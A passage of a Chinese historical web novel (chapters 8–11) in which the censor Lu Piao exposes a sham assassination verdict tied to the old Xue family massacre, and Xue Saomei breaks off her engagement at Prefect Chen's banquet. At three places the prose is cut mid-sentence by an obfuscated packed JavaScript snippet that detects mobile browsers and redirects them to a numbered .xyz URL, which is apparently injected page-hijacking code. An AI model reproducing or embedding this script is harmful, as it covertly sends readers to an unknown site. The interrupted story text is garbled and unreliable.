若是他还堪用,那十日后陈知府家宴正待上演的一出好戏,不妨也请他来看看。 8. 第 8 章 本朝自高祖以来,君权集中,对地方压制渐重,“代天子巡狩”的各道监察御史权力颇大,上可直达天听,中可弹劾官员,下可执掌刑狱,在危急时甚至可以干涉军权、便宜行事,竟犹如父母官的父母官了。 这么重要的职务,之前的蔡御史一干就是十年。老蔡是个老好人,偏安在天高皇帝远的鱼米乡,难得糊涂,谁也不曾得罪。 这回蔡御史告老还乡,陆缥忽然驾临,碧南道诸位官员不由得头皮发紧。一双双眼睛,从陆缥穿着血衣进入碧霄府的城门开始,均在背后盯紧了他。 这些人中,就有碧霄府如今的父母官,知府陈相如。 陈知府派人默默观察了十几日,见陆缥素日里衣着华丽,频繁出入茶楼酒肆、瓦舍勾栏,甚至连休沐日都交待在了菩萨蛮中,得出了一个结论:看来这位出身贵胄的陆侯爷,虽早年有“杀将”的名声,但的确已如传言一般,在解甲回到未央京后,转做了富贵温柔乡中的一枚多情种子。 如此,甚好。 于是陈相如投其所好,立刻修缮御史官邸,趁机送了几车珠宝珍玩。见陆缥来者不拒,他胆子更大了些,开始凭借当年在京中与陆缥舅父勤国公曾是同僚的关系,私下里攀谈交际起来。有回宴饮时,他借醉意壮胆,喊了两声“世侄”,陆缥含笑应了。陈知府在宾客们面前挣足了面子,惴惴许久的心由此落回了肚子里。 原来这位新御史,除了皮囊年轻之外,和老的那位,也没什么不同。 饶是如此,面上功夫还得做足。譬如城外刺杀一案,出于对苦主陆御史的尊重,就算凶手犯案未有得手且都已伏诛,陈知府还是用最快的速度协调好鞫谳两司,令司法参军写出了判决。 “陆大人,可满意呀?” 陆缥一目十行地看完,莞尔一笑:“陈大人真是神速,半个月就‘审结’了此案。” 那判词通篇都是废话,只道劫匪是流民,夜间劫财,未遂自尽。对于夺去车夫性命的那支箭,干脆一句也没提。 陆缥今日公干,穿的是符合服制的绯色襕袍。红衣映衬之下,他这一笑,犹如霞破雪融,让见惯了美人的陈知府都不由得怔忪。 待陈知府回过神,已不记得陆缥说了什么,只好讪笑着打起哈哈:“好说,好说。” 陆缥没有接他的话茬,眼神冷下来。 他数日前对薛家起了疑心,漏夜翻看了当年薛家灭门案的旧档,也如今日这般,看得一头雾水。四十八条人命的大案,案卷仅有薄薄两册,连死者尸格都错漏不全;不过四年多过去,卷中的一些页面甚至已经缺损。因凶手没有归案,案卷中没有判决,只有行文粗略的小结,同样判断案犯是劫财流民。末尾苦主画押那一栏中,只有一枚指印,洇在泛黄的纸页上,殷红如血。 “贼人尸首呢?”陆缥忽然问。 陈相如一无所知,立刻向呆立一旁的司法参军曹永年使了个眼色。 陆缥的视线随之移向曹永年,后者额上浮着一小片虚汗:“本地温暖湿热,尸首放不久的,已经抛在城外乱葬岗了……”迎着陆缥目光,他隐约觉得答得不妥,赶忙强调,“但是,但是!贼人身上穿的衣服、用的刀具等一应证物,下官都仔细收好了。请府尊和察院大人过目。” 曹永年手指之处,是两个半人高的木箱。清漆未干,显然是新造的。 陆缥忽然想起薛案的物证——一共也只有三把大刀,随意放在破匣中,锈迹斑斑。 真是好鲜明的对比。 他没说话,走上前去,打开一口木箱,信手翻动起来。 曹永年惊魂未定,暗暗抹了把汗。他是主管议法断刑的司法参军,也算没少见过喋血嗜杀之徒。方才陆缥看向他的眼神,冷厉如电,分明是杀意毕露。有这样眼神的人,怎么可能像陈知府说的那样,是个风流荒唐的花架子? 他冷汗还没擦完,颈上忽而一凉。 一把刀亘在他与陆缥之间,刀刃抵着他颈上温热的血管,刀把则稳稳握在陆缥手中。 “啊呀!世……陆大人,这是在做什么?”陈相如大惊失色。 陆缥嘴角微弯,似又恢复了玩世不恭的悠闲神情:“曹参军,你低头看看,这把刀可是本案的证物?” 曹永年下意识地闭眼,咬牙道:“下官,下官……” “仔、细、看。” 陆缥每说一字,手上便多用一分力气,铁器冰冷,几乎测出曹永年的心跳。曹永年心下叫苦不迭,硬着头皮看了两眼那把刀,嗫嚅道:“大人明鉴,此物……确实是本案证物。事系察院,府尊特别交待的,下官亲自带人去郊外把这些东西搜罗起来……不会有错。” 陆缥点点头,像是被他说服了,将刀刃收回。 陈相如清了清嗓,强笑道:“陆大人好身手,这普普通通的一把刀,握在大人手中……” 陆缥没理会他的奉承,抬眼看向曹永年:“曹参军,你的脖子上,好像多了些东西。” 曹永年毛骨悚然,伸手一探,摸到的却不是想象中的红色液体,而是砂砾般的粉末。 “这是……铁锈?” 陆缥将手中的刀抛给他,示意他看:“十几把簇新的刀里,只有这把形制不同,还生了锈。曹参军在勘验时,没觉得古怪么?” 曹永年装傻:“恕下官眼拙……” 陆缥话锋一转,忽然问:“曹参军在任上多久了?” “回察院的话,已有七年。” “薛家灭门案,是你办的么?” “确……确是下官主办。” 陆缥挑眉:“当年薛家灭门案的物证里,有几把刀?” “四把……呃,五把……?” “确认不是三把?” “应当不止这个数,不过事发多年,下官记不得了,恐怕需要回去查证一下。”曹永年见陆缥不语,小心斟酌着问,“察院大人为何提起这桩陈年旧案?” “因为本官看过薛案的物证,匣子里现下只有三把刀,”陆缥盯着他,说出的话令曹永年不寒而栗,差点没把手中的刀丢在地上,“而这把刀和它们一模一样。曹参军,你说可不可能是有人从府衙拿了薛案的凶器,用来谋害本官?若是如此,你还认为犯案的贼人,只是城外的流民么?” 一言既出,曹陈二人皆变了脸色。如果陆缥说的是事实,那往小里说,是府衙管理失当,致使物证遗失;往大里说,他们简直有与外贼合谋残害钦差的嫌疑了。再者,陆缥忽然提起的薛家灭门案……他二人心里清楚,那案子办得粗糙,可是一笔彻头彻尾的糊涂账。若不是薛大姑娘后来顾全大局,自己偃旗息鼓,不知会闹出多大的响动来。 曹永年只觉得手中的刀重似千钧,几乎要拿不住了。当年薛案发生时,他已是司法参军,不必亲自去做勘验这种由小吏负责的小活儿,只需在最后点数时签上名字。因此,他虽然对证物的数量有点印象,却完全记不得具体的形制了。这把刀对他来说,十分陌生。 陈相如亦偷眼看着陆缥。这个他斗胆称为“世侄”的年轻人,头一回在他面前显出锋锐来,竟是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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陈相如犹自忐忑着。他今日带曹永年来见陆缥,本意是想向“世侄”引荐一下自己的心腹。陆缥在城外大开杀戒,青天白日之下,血衣入城,引得百姓侧目;在刺杀案调查开始后,又特别吩咐过两次“从速办理”——这一切,都让陈相如错认为,刚被贬谪的陆缥是想要大事化小,小事化了,他这才让最会审时度势的曹永年,以惯用的“流民劫财”为由,草草结案——却没想到,马屁拍在了马腿上。眼下别说在陆缥跟前露脸了,若刑部真查出曹永年有什么问题,他这个顶头上司也吃不了兜着走。 他心绪纷乱,没料到忽然被陆缥点了卯:“陈大人,昨日是给我下了张请帖罢?” 语气轻松,像在话家常。 这样的陆缥总算让他不那么陌生。陈相如摸不清陆缥怎么忽然骤雨转晴,只顾连声应和:“是是是——我在北郊置办了一处别院,月内便能落成,想请陆大人大驾光临。” “陈大人是长辈,唤我的字‘缈之’就可。”陆缥微哂,“陈大人的家宴,都请哪些人来呢?” “这……依缈之的主意,该请哪些人呢?”陈相如为官数十载,最擅长的便是闻弦歌而知雅意,立刻追问道。 陆缥不和他兜圈子,直截了当道:“需得大办才好。我到任才半个月,许多同僚、乡贤还未见过,届时正好请陈大人引见。” “好说,好说。”陈相如精神一振,心思又活泛起来。别的不提,在人情交往这一项上,他称得上擅长。陆缥毕竟年轻,再锋利的剑,也抵不过绕指柔呀。到时候他请来菩萨蛮的舞女——就是陆缥最钟意的那一位,再选上几位会说话的宾客侍奉左右,待酒过三巡,轻歌曼舞,宾主尽欢,不愁这位世侄不满意。 再说了,这别院原本是薛大姑娘私下赠予他陈某人的。薛大姑娘早几天也传过话,说想借陈府家宴,认识这位新来的察院大人。陆缥主动提出要“大办”,宴请“乡贤”,算是给他递了梯子。 两全其美,善哉善哉! 陈大人笑弯了眼。 他万没料到的是,数日后的家宴,竟会成为一场闹剧。 9. 第 9 章 霜降日,陈府薮春别院落成。这座坐拥山水的院落偏居在碧霄府西南郊外,平日里并无多少人烟。可今日酉时刚过,此地便已人声嚣嚣。 原来是别院主人、碧霄府知府陈相如,在此大设宴席,以作庆贺。 周老爷沉着一张老脸,蹬着仆从的脊背,从车上下来。天色向黄昏,别院大门上悬挂着的灯笼彤光微转,斜映在他衰老的眼眉上,更增一份晦色。 周家这两年逐渐败落了,可往前几年,也是在碧南道数得上号的富商。瘦死的骆驼比马大,他家自然也在陈相如的宾客名单上。 车如流水马如龙。周家的马车停顿得久了些,后头便有别家的车夫长吁:“借个光!”声声催促之下,周老爷的独子周烈方才骂骂咧咧地从轿厢里挪出,由两个婢女合力搀下车来。 周老爷看着自己不成器的儿子,心中暗恨。 周烈这两年行事愈发荒唐,每日沉迷酒色,正经事情一件也不做了。周老爷对他早没了别的指望,只盼薛扫眉能早日过门,扶一扶周家几欲倾倒的门楣。谁知近日来,城内流言风传,都道周公子在菩萨蛮被未婚妻薛大姑娘捉了个正着,二人大闹一场,薛大姑娘就此病倒。尽管薛兼为大姑娘闺誉着想,竭力将“谣言”按下,还是有风声透了出来,碰巧灌进周老爷的耳朵。事关全盘算计,周老爷又急又怒,立时找到周烈,没想到后者却毫不在意——“是真的又怎么样”,“她还没过门,凭什么管我”,“你也管不着”……口口声声,字字句句,直戳周老爷的肺管子,当场将他气了个仰倒。 今日临出门前,周老爷特意拉下脸来嘱咐周烈,若见着了薛扫眉,应该态度好些,主动认错,以免误了这桩姻缘。但周烈油盐不进,竟又梗着脖子与他大吵一架。 马车行了一路,二人还未和好,故而此刻面上都还带着阴霾。 陈府的管家上前拱手行礼。将周家父子迎入府中之后,管家足底生风,又匆匆赶回原位。迎来送往中,又一辆马车徐徐驶来,堪堪停在别院门前。 晚风猎猎,车厢前挂着的琉璃风铃丁零乱响,秋香色的轿厢似一团暗色的雾,动静随风。管家拔腿走近一些才发现,原来是还有一层近乎透明的鲛绡从轿厢上方垂曳下来,这才造就了出如云似雾的效果。 管家不由得咋舌。要知道,鲛绡产自海外,自弘文三年海禁之后,便成了在大燕有价无市的珍贵物件;即使是在天子脚下的未央京中,能以它作衣裳的王妃贵女也是屈指可数。可有人竟用鲛绡来做马车轿厢的外饰——放眼江南六道,除了富可敌国的薛家,还有谁能有如此手笔? 管家赶忙整肃心神,将笑意堆回面上。他正待起步,却被自家老爷抢了先。 “薛管事来啦!”陈相如挂着微笑,搓手上前。 薛兼刚从马上下来,将手中缰绳交予陈府下人,转身端正作了一揖:“恭贺府尊大人新居落成。” “好说,好说。”陈相如笑容不改。 他表现得这么热络,是有原因的。 “薮”字,本是聚集的意思。薮春别院遍栽珍木奇花,春日里葱郁娇妍,号称“开尽江南十年春”,因此得名。它原属于前朝名儒,几经周转,到了薛扫眉手里。陈相如瞧着眼热,在薛扫眉面前有意无意地提过“南郊风光甚好,何时有幸去那里赏花”,果然数日后,薛扫眉便派人送来了薮春别院的地契,还主动提出按照他的心意去做修缮。 若这大礼是旁人给的,陈相如出于谨慎,不一定会收;但薛家给的——他家两代家主,都善于做长远生意,在为人处世上分寸极好,从未向他提出过非分要求——陈知府便拿得痛快,用得安心。果然,她此番所请,不过是认识一下新来的陆御史,这于陈相如而言不过是举手之劳。 陈相如眼神往马车上瞟去,明知故问:“你家大姑娘,可是亲自来了?” “劳烦府尊大人记挂,小女子这厢有礼了。” 随行侍女分花拂柳般地挽起轿帘,纤素身影在朦胧纱影中显现。薛扫眉在阿橘的搀扶下,向陈相如款款下拜。 已入深秋,又是日暮,天光寒凉。薛扫眉身弱惧冷,早早换上了冬日装扮,通身包裹在银白狐裘中,头上戴着紫貂昭君套并风领。她虽然自行将孝期延长至五年,但眼下四年已过,早已出了热孝,不必坚守服素罢妆的规矩。今日为了凸显对陈府的尊重,她特意改簪了一整套粉玉镶银缠丝海棠头面,精巧不失庄重;只是面上依旧覆着那张戴惯了的银箔面具,唯露出一双清凌妙目和绛色素唇。 陈相如亲自将薛扫眉主仆三人迎进大门、仪门,一直来到厅堂当中。 时下流行数人一桌、环绕而坐的会餐宴席,但陈相如爱好复古,特意按照古时分餐的形式,在厅堂内陈设了数条长案:与南向厅门相对的最北处横列一条,是为主**席;主桌以下,东西两侧分别竖列数条可容十余人的客席,一直延伸至厅门附近;客席中央留出大片空位,供仆从进出和歌舞表演使用。 陈相如给薛扫眉留出的位置,正是最西侧客席的首座。虽为本席首位,但尊贵程度次于主位和中央客席。原本“士农工商,商为最末”,陈相如今日邀请的宾客不乏缙绅名流,都排在她薛家前头。但财神爷也不可不尊,故而陈知府竭力安排,将她置于距离主座不远的地方,也算是格外照拂了。 薛扫眉安然坐下。厅堂空间有限,加之男女有别,薛兼并不方便在身后服侍。陈府管家邀他去旁厅吃席,留下阿橘陪伴薛扫眉。 本朝民风开放,男女同席不在禁止之列,但她甫一落座,还是引起了嗡嗡杂杂的议论。毕竟薛大姑娘平日里深居简出,不太容易见到。今日她能来赴宴,竟不知是谁给谁面子。 她坐定还不到一盏茶的工夫,便有人从下首席位蹒跚走来,觍着脸来搭讪。 正是薛扫眉那名义上的准公爹,周老爷。 薛扫眉莞尔一笑,耐心与他周旋起来。 周老爷原本是要鼓动周烈前来,奈何周烈铁了心不挪动,他只好拉下老脸和薛扫眉寒暄,亲自探探这位准儿媳的口风。几个回合下来,薛扫眉语气和婉,姿态恭顺,待他如平常一般,有一搭没一搭地话着家常——既挑不出错儿,也让他试不出自己想要的答案。只不过,他原本的座位距这里有段距离,踱步过来无座可落,站久了倒好像是侍奉薛扫眉的老奴似的,实在有些尴尬。 周老爷暗暗着急,偷眼看向四周,唯恐旁人看他的笑话。 真是怕什么来什么——主位上还真有一位容止可观的青年郎君,正袖手看着这边,唇边凝着一抹浅笑,分不出是礼貌还是讥诮。 年轻俊逸,腰挂银鱼,还被陈知府奉为上宾……除了那位新来的陆御史,还能有谁? 周老爷想起陆缥大开杀戒的传闻,迎着他似笑非笑的目光,不禁后背一凉。 好在此时席间宾客 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14364887|152997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几已坐满,主人陈相如迎客而至,连声唤着“开席”,转头与陆缥谈笑。周老爷赶忙趁乱遥遥一作揖,匆匆按下这厢与薛扫眉的官司,悻悻然回到了自己的座位上。 陆缥嘴上与陈相如应和,心中却还琢磨着薛周两家的纠葛。 那周老爷对薛大姑娘看着很是讨好的样子,周少爷却如死猪一般瘫在坐席上,只顾着闷头喝酒。眼下还未开席,他却连案头仅供观赏的看菜都差点吃光,看来已经醉了。 周少爷当日大闹菩萨蛮之后,坊间便有流言传出,细细描述了他在秦楼楚馆如何挥金如土、争风吃醋,薛大姑娘如何伤心痛楚,以至于晕厥病笃。 有意思的是,这则流言里,完全没有提及周少爷争风吃醋的对象,也就是陆缥本人。 更有趣的是,根据陆缥派出的探子回报,流言的源头正是周烈本人。他在碧霄府的几大茶肆酒馆中,分批与数十位狐朋狗友把酒言欢,席间反复提及与薛大姑娘在菩萨蛮的龃龉,更是放出自己不惧薛家权势的豪言。谁料那一干酒友之中亦有仗义之辈,看不惯周少爷这副嚣张样子,便以谴责周家的角度将此事宣扬出去,意图给薛家一点警醒;也有纯看热闹的,在旁推波助澜。 这一切发生得如此自然。要不是周少爷每场宴席里说的话都一模一样,连陆缥也不会起疑。 不过这说到底也只是薛周两家的私事,和陆缥无关。他真正在意的,是由那浑身谜团的薛大姑娘串联起来的薛家旧案和菩萨蛮故事,还有没来由出现在刺杀案物证中的那把旧刀。陆缥虽已对薛扫眉起疑,手中却无她参与任何案件的实际证据,加之对方是江南首富的掌家人,又是个女子,也不好直接锁拿来问话。正巧那日见陈相如和曹永年之前,他收到了陈府发来的请帖,麾下探子一并查明,薮春别院是薛扫眉赠予陈大人的。于是陆缥便打算借陈府家宴这场东风,再探探薛扫眉的底细。 只是他低估了在座其他人的热情。 本朝自高祖以来,对地方压制渐重,于是“代天子巡狩”的各道监察御史权力颇大,上可直达天听,中可弹劾官员,下可执掌刑狱,在危急时甚至可以干涉军权、便宜行事,竟犹如父母官的父母官了。众人听说陆缥今日要来,本就有意奉承,眼观这位陆御史确实风神超逸、一表人才,不由得更加言之有物,一发不可收拾。一时间,觥筹交错,宾主尽欢,自不必言。 薛扫眉斯斯文文吃着席面,并不急于上前。 玉霓裳通过香丸传来的消息,她已细细看过了。这位陆御史在菩萨蛮时只点过如儿姑娘一人,如儿姑娘是清**倌,只卖舞艺不卖身,他也不曾强迫过她。虽然此人喜怒无常,话也不多,总归还算温文有礼。可惜那几日如儿姑娘身体不适,日间歌舞后,晚上便格外困乏,有时撑不住就睡着了,没从陆缥口中套出什么有用的话来。 很好。她给陆缥设下的三重考验,到此算是过了一关。 酒过三巡,玉霓裳携菩萨蛮的一众歌舞姬粉墨登场。一曲招牌的霓裳羽衣舞,丽影华光,开阖飞扬,赢得满堂喝彩。 是时候了。趁众人沉迷观舞,薛扫眉举杯起身,走向陆缥和陈相如所坐的主**席。 陆缥已饮过十几杯,微微发汗,自余光里忽然瞥见一道纤影姗姗而来。他转过头,与她四目相接。 她眸中含笑,停在一步开外,屈膝致礼:“小女子薛氏,给府尊大人、察院大人请安。” 10. 第 10 章 陈相如早有意为二人引见,见薛扫眉主动过来,便也起身,为陆缥介绍:“缈之,这就是我与你说起过的、名动江南六道的‘女陶朱’薛大姑娘。薛家富贵无匹,但凡是官府号令,那是无有不从的。喏,圣人去岁最喜欢的两样江南贡品,南珠与荔枝,都是薛大姑娘倾力助本府搜罗来的。我原本有意上个劄子,为薛家请个封赏……” 他言及的“圣人”,便是当今皇后,陆缥母亲嫡亲的阿姊。 陆缥懒散靠在屏风上,嘴角噙笑,权当没听懂。 陈相如眼见他并无接茬的意思,重重咳嗽一声,自己将话圆回:“……薛大姑娘却说她不是沽名钓誉之辈,不必如此。不是我夸口,大姑娘对上仁孝,对下更是乐善好施。单就东坊市里头薛家设的慈幼院,便收留了不少孤儿寡母……” 他讲得唾沫横飞,薛扫眉面上带笑,心中却不领情——可不正是“乐善好施”么,就连这座薮春别院,都是她“施”给陈相如的呢。 陆缥微微颔首,想到探子报来的这座“陈家”别院的渊源,忍不住笑意更浓——陈相如还叫人家“薛大姑娘”做什么,合该直接叫她“薛施主”才对。 二人腹诽完毕,目光相对,均从各自眼神中读出一丝不耐烦来。 “府尊大人谬赞了,这都是奴家该做的。”薛扫眉率先开口,止住陈相如聒噪,将话头递给陆缥,“听说察院大人自未央京中来,不知在碧霄府可还住得惯?” 陆缥往自己杯中添了些酒,立起身,慢悠悠道:“听薛姑娘的意思,陆某要是住不惯,你难道也送我座宅子么?” 他此言既出,陈相如顿时酒醒了一半。 “也”是什么意思?难、难道陆缥知道这座别院是薛扫眉送他的了? 薛扫眉倒是镇定。薛家账面上的钜亿财富,名义上归她所有,实则都会在薛兼的管控下,最后倒入面具人的口袋。反正钱不是给自己挣的,她干脆当个善财童子:不管是给慈幼院购买物资,还是在生意场上上下打点,薛大姑娘无不是挥金如土。薮春别院虽然价贵,不过是她这些年来赠给碧霄府官员的九牛一毛而已。她也没指望他们能上天入地给出回报,不过求个分寸之内的方便,不能算行**贿。 如果陆缥想要什么,她也能给的。只不过他的话倒是提醒了她,如果他够格成为盟友,可考虑将今日收回的东西转送给他,那可也是一份大礼…… 薛扫眉定下心神,举杯莞尔道:“既然察院大人开了尊口,那我一定全力以赴,争取让您满意。” 这话说得滴水不漏。用来敲打陈相如的一句话,教她这么一解,倒像是陆缥开口要东西似的。 陆缥扬眉看她,本打算说些什么,却被一声轰然巨响打断了。 响声发自薛扫眉背后的歌舞场中,她不及转头,已在陆缥眼中看到杀气。 视线微微下移,她见陆缥的右手探入左袖,似乎握住了什么物件。而就在一息之前还握在他右手的青瓷酒杯,此刻正静静立在案上,杯中与边缘齐平的佳酿不仅一滴未洒,甚至连涟漪都无。 好快的身手。薛扫眉虽不会武,却也旁观过道馆的师兄弟练功,因此知晓他这屏息间静水无澜的一拿一放,应当颇具功力。 陆缥松开已拿住铁扇的手,随意坐回座上。他已分辨出那声响既非出自火石,也非出自行家,倒是和眼前过分沉静的薛大姑娘有些关系。 “看来这杯酒是喝不成了,”他已被敬了十数杯酒,此刻面上如被浅霞点染,一双桃花眼笑起来似有烟波流转,泛着几乎不可察觉的恶意,“好像是你的周世兄把桌子掀了呢。” 薛扫眉双睫一颤,深吸口气,转身看向场中。 那边厢周烈已在众目睽睽之下,摇摇晃晃地立了起来。他身形笨重,拖着一身酒气、七分怒意,在被掀翻的桌凳中挣扎了好一会儿,才勉强站稳。他本也生就一副好皮囊,可惜这几年来沉醉于酒色之中,双目中的舒朗神采已被腐蚀殆尽,只余一片空洞和阴鸷。 一旁的周老爷急得不行,低声呵斥道:“逆子!你这是做甚?” 周烈涨红了脸,冷笑道:“做甚?这领舞跳成这样,也好意思说是菩萨蛮出品?玉妈妈!叫你们从前的领舞如儿姑娘出来!”不待玉霓裳回答,他又自问自答似的说,“哦,对了,她是再出不来的了。她再也不能是我的如儿,而只能是劳什子陆大人的潋滟了!好一个趋炎附势的菩萨蛮,好一个见色起意的陆御……” 可惜他并无机会说完这一篇慷慨陈词,最后一个字未及吐出,便被周老爷惊怒交加的一个耳刮子打没了——这一下可谓是拼尽全力,周烈被打得跌在地上,低头便吐了一口鲜血,借着酒劲昏了过去。 周老爷成功让儿子闭了嘴,转头便跪倒在地,涕泪交加:“御史大人,御史大人,犬子顽劣,绝非有意冒犯……” 陆缥含笑冷眼看着。从他这个角度,不仅能望见周家父子的丑态、众人或尴尬或惊讶的表情,还能清楚地看到薛扫眉后脑发髻上簪的海棠步摇,垂下两穗粉玉流苏,此刻正隐隐颤动。 果然,未及他开口,薛扫眉已上前一步,抢过话柄:“周世伯,你们欺人太甚!周世兄流连风尘,在菩萨蛮里和人争风吃醋,已使我薛家沦为全城人的笑柄。今日是什么场合,他竟还要胡闹!只因我是一介孤女,无人出头,你们就可这样欺负人么?”她暗中掐了自己几把,疼得双目通红,配合上这句躯壳本就有的气短毛病,一番话说得楚楚可怜。 阿橘一直跟在薛扫眉身后数步之外,赶忙上前扶着她。 周老爷没料到薛扫眉会上前来加这把火,看着众人指指点点,不禁恼羞成怒:“要你来添什么乱!陆大人高洁出尘,定是最最心慈,不会与烈儿计较的……” 他话音未落,场上另有一人笑出了声:“哎哟,可笑死奴家了。周老爷子,你可知今日这席上,能与你周家计较的,并不止陆大人呢。” 说话的人虹裳霞帔,光彩照人,正是听到动静从厅外走进来的玉霓裳。 周老爷并不识得她,只看她装扮轻浮,不像庄重客人,因而低声斥道:“你又是个什么东西?” 他今日是触了什么霉头,难道人人都要与他来作对不成? 玉霓裳轻掩檀口,巧笑道:“周老爷容秉,奴家是菩萨蛮的掌柜玉霓裳,这厢有礼了。哎呀,只恨周公子现在人事不省,不然的话,由他将我引荐给您,岂不更好呢?要知道呀,他盘桓在我菩萨蛮的时候,口口声声唤我‘玉妈妈’、‘玉姐姐’的,竟好像和我是一家人,难怪我与周老爷您也一见如故呢。” 周老爷哪里听不出她是拐着弯地损自己,直气得头顶冒烟,指着玉霓裳“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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但这席话却让周老爷听了个魂飞魄散。陆缥乃一道御史,这官府主审的官司最后谁赢谁输,他能不知道?说是让陈相如转告于他,其实便是铁了心要插手啊。什么“于何处立足”,这不就是暗示周家从此在碧霄府中再无立足之地了么?要真上了公堂,他这宝贝儿子能受得了杀威棍么?说不定一条命就交待在那里了! 周老爷眼前阵阵发黑,咬牙惨笑道:“不不不,没有官司,何来的官司呢?我老周认栽了就算!” 那边厢薛扫眉却不肯让他就此算了。 她靠在阿橘身上,一字一句道:“周烈在我守孝之时,出入烟花之地,是为不孝;对长官出言不逊,陷大人于不义,是为不忠;盗取家中地契,欺瞒父母长辈,是为无信;当着我的面,数次为舞姬争风吃醋,令小女子颜面扫地,是为无情。此等不孝不忠、无信无情之人,我宁可终身孤苦,也断不会嫁!我与周烈,原本也只有口头婚约,并无婚书。请知府大人、察院大人和诸君做个见证,自今日起,我薛、周两家的婚约就此作罢!至于那位如儿姑娘,要是察院大人不反对,我就买下送给周世兄,就当是退婚的赔礼了!” “你,你……”周老爷羞怒交加,目眦欲裂,却无力辩驳。毕竟今日的篓子是他亲生儿子捅出来的,薛家当众毁婚,也算是占着理儿。只是可惜了这尾就要到手的大鱼!这下房子没了,亦再无薛府扶持,只怕周府从此大势去矣。唉,败家子啊,败家子…… 薛扫眉凛然看着周老爷惨然的神情,心知自己与周家退亲的事儿算是成了。 她暗中松了口气,却听见陆缥从身后道:“薛大姑娘爱惜羽毛,陆某佩服。君子成人之美,陆某虽不敢称君子,也不能夺人所好。菩萨蛮的那位姑娘,薛大姑娘任意处置即可。” 薛扫眉转过头,朝他颔首致意。她仍气喘微微,无暇顾及他眼中深意。 那边厢玉霓裳心领神会,当即乘胜追击,一锤定音:“多谢薛大姑娘照拂奴家生意。我明日就办好文书,亲自把人送到周老爷府上,啊呸,没有府上了,那便送到周老爷面前罢!” 11. 第 11 章 众目睽睽之下,周老爷脸上红白交替,有口难言,只好唯唯称是,让人先把还未苏醒的周少爷抬回府里,自己也顶着一张通红老脸,仓皇退席了。 薛兼在旁厅听闻响动,赶来时闹剧已然结束。 作为面具人的属下,他清楚与周家退婚是主人的意思——毕竟如果薛扫眉嫁入周家,便不算是独门女户,不可再名正言顺地独立执掌薛家产业。但今日这样公开闹一场,对薛大姑娘的闺誉和好不容易养好了一些的身体而言,都有损无益。 薛兼面色阴沉,吩咐阿橘将薛扫眉扶回车上。他忽又想起另一桩事情,平静心湖俶尔翻涌起来,一时间五味杂陈,竟分不清是喜是悲了。 他心事重重地走在前面,阿橘尽职尽责地留意着脚下,谁也没注意到自家大姑娘和迎面走来的玉霓裳在错身而过的瞬间,悄无声息地交换了眼神。一汪红杏春潭,一泓碧芷清泉,均映出同样的笑意。 收回视线,玉霓裳扭着腰肢,继续从厅前走向主**席处。今日她是来献舞的,虽然在和周老爷的整治中占了上风,但在某种程度上也算砸了陈家的场子,很需要做番补救。 这段时间,她可都没闲着。有了瞿准这股东风,她和薛扫眉通信方便了许多——瞿准去薛家复诊了几次,她便借机与薛扫眉传递了几个回合的消息,最终敲定在陈府家宴上,趁周少爷发作的机会,捅破他在菩萨蛮做下的好事,再由薛扫眉借机退婚。方才与薛扫眉的视线交汇,让她知晓所做的一切都符合东家的要求,正式吃下了定心丸,只是尚且有个小小疑问:薛大姑娘怎么就能笃定,周少爷今日一定会当众掀了桌子? 再想到之前不时通过周少爷给的银票传来的密信,玉霓裳心底大概有了猜测。可是,如果她的猜想是对的,那这样做对周家有何好处?周少爷为何愿意配合? 玉霓裳暗自叹了口气。她在红尘中拼杀许多年,仍是看不透许多事。罢了,各人自有各人的缘法,她势单力薄,管不了这许多。等这桩事处理完,手头所有薛扫眉交待的事项就算暂时了了。到那时,她只管专注经营好菩萨蛮,继续等待阿姊回来,就好了。 玉霓裳在陈相如面前站定,熟练地换上殷勤笑颜,温柔小意地分说起来。 陈相如却没怎么听进她的话。 他先前被陆缥“也送我座宅子”的话语敲打过之后,便开始神情恍惚;薛周两家后起的纠纷,更是将他闹得脑袋嗡嗡。混沌中,陈知府唯一可认清的事实是:陆缥作为监察御史、天子亲信,只要掌握了他一点点不清正的证据,就相当于拿住了他的七寸,生杀予夺,惟其所欲。今日周少爷的指责,算是在碧霄府贤达面前狠狠驳了陆缥的面子。万一这位阎王发起狠来,写道劄子上呈官家,说他陈相如收受了薛家的孝敬……那他能解释得清楚么?到时候不要说乌纱帽,可能连用来戴帽的大好头颅,都岌岌可危矣。 陈相如想来想去,感觉自己头风都要犯了。他一心逃避,不敢正眼看陆缥的反应,只称自己身体不适,立刻挥退众人,匆匆结束了这场家宴。 陆缥倒是不以为意。自弘文二十三年回到未央京之后,他便因风流好**色而声名在外。眼下世道对于男儿——特别是如他一般的少年英豪多有宽容,不过多添一桩韵事而已,没什么要紧的。许多时候,“风流”甚至还可成为他血滴子副统领身份的保护色,譬如此前探访菩萨蛮。 他从善如流地登上了陈府管家特意备好的马车。 仆童簪缨今日窝在陆缥身后,看足了一场大戏,此刻还在兴奋回味:“侯爷,您为什么要同意薛大姑娘把那菩萨蛮的舞伎买下来送给周少爷啊?您不是说过,那舞伎出现得太凑巧了,需得多探探虚实么?” 江南美酒入口微甜醇厚,但后劲大。陆缥微有困倦,轻闭双眼:“成人之美罢了。” “您就别打官腔了罢。那舞伎把周少爷家的房契都骗走了,根本就是虚情假意;周少爷也不过是个破落户、浪荡子。这根本不像瓦舍里演的才子佳人故事。到底有何美可成啊?” 陆缥没有回答,心中另有一番计较。 